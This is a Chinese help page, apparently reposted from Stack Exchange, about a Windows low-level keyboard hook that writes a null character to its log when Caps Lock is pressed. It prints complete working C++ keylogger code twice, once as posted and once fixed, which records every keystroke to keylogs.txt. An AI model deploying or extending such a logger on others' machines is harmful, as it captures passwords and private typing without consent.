低级键盘钩子将Caps Lock记录为空字符的问题解决求助
解决低级键盘钩子记录Caps Lock时产生空字符的问题
问题描述
使用Low Level Keyboard Hook(低级键盘钩子)将按键记录到.txt文件时,每次按下Caps Lock开启大写状态,文件中会被记录一个空字符——VSCode中显示为红色小框内的“null”,记事本中显示为空白空格。推测是Caps Lock的虚拟键被映射为空字符,其余功能正常,需要阻止该空白空格生成。
原始代码
#include <fstream> #include <ctype.h> #include <windows.h> LRESULT CALLBACK kybHP(int nCode, WPARAM wParam, LPARAM lParam){ KBDLLHOOKSTRUCT *lPp = reinterpret_cast<KBDLLHOOKSTRUCT *>(lParam); switch (wParam){ case WM_KEYDOWN: // If the shift key is being pressed, cout normally which by default is in UPPERCASE. if (GetAsyncKeyState(VK_SHIFT) & 0x8000){ char key = MapVirtualKey(lPp ->vkCode, MAPVK_VK_TO_CHAR); std::ofstream logs; std::cout<<key; logs.open("keylogs.txt", std::ios_base::app); logs<<key; logs.close(); } //If Caps Lock is ON, cout normally which by default is in UPPERCASE. else if (GetKeyState(VK_CAPITAL) == 1){ char key = MapVirtualKey(lPp ->vkCode, MAPVK_VK_TO_CHAR); std::ofstream logs; std::cout<<key; logs.open("keylogs.txt", std::ios_base::app); logs<<key; logs.close(); } else if (lPp->vkCode == VK_BACK){ std::cout<<"[BACK]"; std::ofstream logs; logs.open("keylogs.txt", std::ios_base::app); logs<<"[BACK]"; logs.close(); } //If the shift key isn't pressed, cout in lowercase; this is accomplished by using the tolower function. else{ char key = MapVirtualKey(lPp ->vkCode, MAPVK_VK_TO_CHAR); char lowerkey = std::tolower(key); std::ofstream logs; std::cout<<lowerkey; logs.open("keylogs.txt", std::ios_base::app); logs<<lowerkey; logs.close(); } break; } return CallNextHookEx(NULL, nCode, wParam, lParam); } int main(){ HHOOK keyboard = SetWindowsHookEx(WH_KEYBOARD_LL, &kybHP, 0, 0); MSG message; while (GetMessage(&message, NULL, NULL, NULL) > 0){ TranslateMessage(&message); DispatchMessage(&message); } UnhookWindowsHookEx(keyboard); return 0; }
解决方法
问题根源是Caps Lock按键(虚拟键值VK_CAPITAL)通过MapVirtualKey映射后得到的是空字符,所以在处理按键时,需要先判断当前按下的是否是Caps Lock,若是则直接跳过记录逻辑。
修改后的代码如下:
#include <fstream> #include <ctype.h> #include <windows.h> LRESULT CALLBACK kybHP(int nCode, WPARAM wParam, LPARAM lParam){ KBDLLHOOKSTRUCT *lPp = reinterpret_cast<KBDLLHOOKSTRUCT *>(lParam); switch (wParam){ case WM_KEYDOWN: // 跳过Caps Lock按键的记录,避免生成空字符 if (lPp->vkCode == VK_CAPITAL) { break; } // If the shift key is being pressed, cout normally which by default is in UPPERCASE. if (GetAsyncKeyState(VK_SHIFT) & 0x8000){ char key = MapVirtualKey(lPp ->vkCode, MAPVK_VK_TO_CHAR); std::ofstream logs; std::cout<<key; logs.open("keylogs.txt", std::ios_base::app); logs<<key; logs.close(); } //If Caps Lock is ON, cout normally which by default is in UPPERCASE. else if (GetKeyState(VK_CAPITAL) == 1){ char key = MapVirtualKey(lPp ->vkCode, MAPVK_VK_TO_CHAR); std::ofstream logs; std::cout<<key; logs.open("keylogs.txt", std::ios_base::app); logs<<key; logs.close(); } else if (lPp->vkCode == VK_BACK){ std::cout<<"[BACK]"; std::ofstream logs; logs.open("keylogs.txt", std::ios_base::app); logs<<"[BACK]"; logs.close(); } //If the shift key isn't pressed, cout in lowercase; this is accomplished by using the tolower function. else{ char key = MapVirtualKey(lPp ->vkCode, MAPVK_VK_TO_CHAR); char lowerkey = std::tolower(key); std::ofstream logs; std::cout<<lowerkey; logs.open("keylogs.txt", std::ios_base::app); logs<<lowerkey; logs.close(); } break; } return CallNextHookEx(NULL, nCode, wParam, lParam); } int main(){ HHOOK keyboard = SetWindowsHookEx(WH_KEYBOARD_LL, &kybHP, 0, 0); MSG message; while (GetMessage(&message, NULL, NULL, NULL) > 0){ TranslateMessage(&message); DispatchMessage(&message); } UnhookWindowsHookEx(keyboard); return 0; }
关键修改点
在case WM_KEYDOWN的最开头添加判断:
// 跳过Caps Lock按键的记录,避免生成空字符 if (lPp->vkCode == VK_CAPITAL) { break; }
这样当检测到Caps Lock按下时,直接跳出当前分支,不会执行后续的字符映射和文件写入操作,也就不会生成空字符。
额外优化建议
- 每次记录都打开关闭文件会影响性能,建议将文件流声明为全局变量,或者在钩子函数外初始化后保持打开状态,避免频繁IO操作。
- 可以扩展过滤其他不需要记录的系统按键(如Ctrl、Alt等),同样通过判断虚拟键值跳过。
内容的提问来源于stack exchange,提问作者Joy
相关产品推荐
相关产品推荐

